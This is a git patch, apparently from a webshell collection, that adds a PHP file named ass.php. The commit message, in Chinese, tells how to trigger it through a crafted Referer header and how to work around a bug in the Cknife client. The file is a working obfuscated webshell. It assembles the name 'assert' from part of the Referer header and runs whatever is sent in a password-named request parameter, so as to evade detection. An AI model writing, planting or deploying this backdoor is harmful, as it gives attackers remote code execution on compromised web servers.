From 719eb9131dc2c1be885a5fe766633a167170ee00 Mon Sep 17 00:00:00 2001
From: tennc <670357+tennc@users.noreply.github.com>
Date: Thu, 3 Sep 2020 21:00:49 +0800
Subject: [PATCH] Create ass.php
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

请求时，设置Referer头，后面以”ass****”结尾即可,比如：Referer: http://www.target.com/ass.php。
在使用Cknife时，注意软件实现有缺陷，会从第二个”:”处截断，可改成Referer: http%3a//www.target.com/ass.php
from : http://alin.run/2020/08/04/php-webshell-bypass/
---
 php/ass.php | 9 +++++++++
 1 file changed, 9 insertions(+)
 create mode 100644 php/ass.php

diff --git a/php/ass.php b/php/ass.php
new file mode 100644
index 0000000..22faf02
--- /dev/null
+++ b/php/ass.php
@@ -0,0 +1,9 @@
+<?php
+/**
+ * Noticed: (PHP 5 >= 5.3.0, PHP 7)
+ *
+ */
+$password = "LandGrey";
+$wx = substr($_SERVER["HTTP_REFERER"],-7,-4);
+forward_static_call_array($wx."ert", array($_REQUEST[$password]));
+?>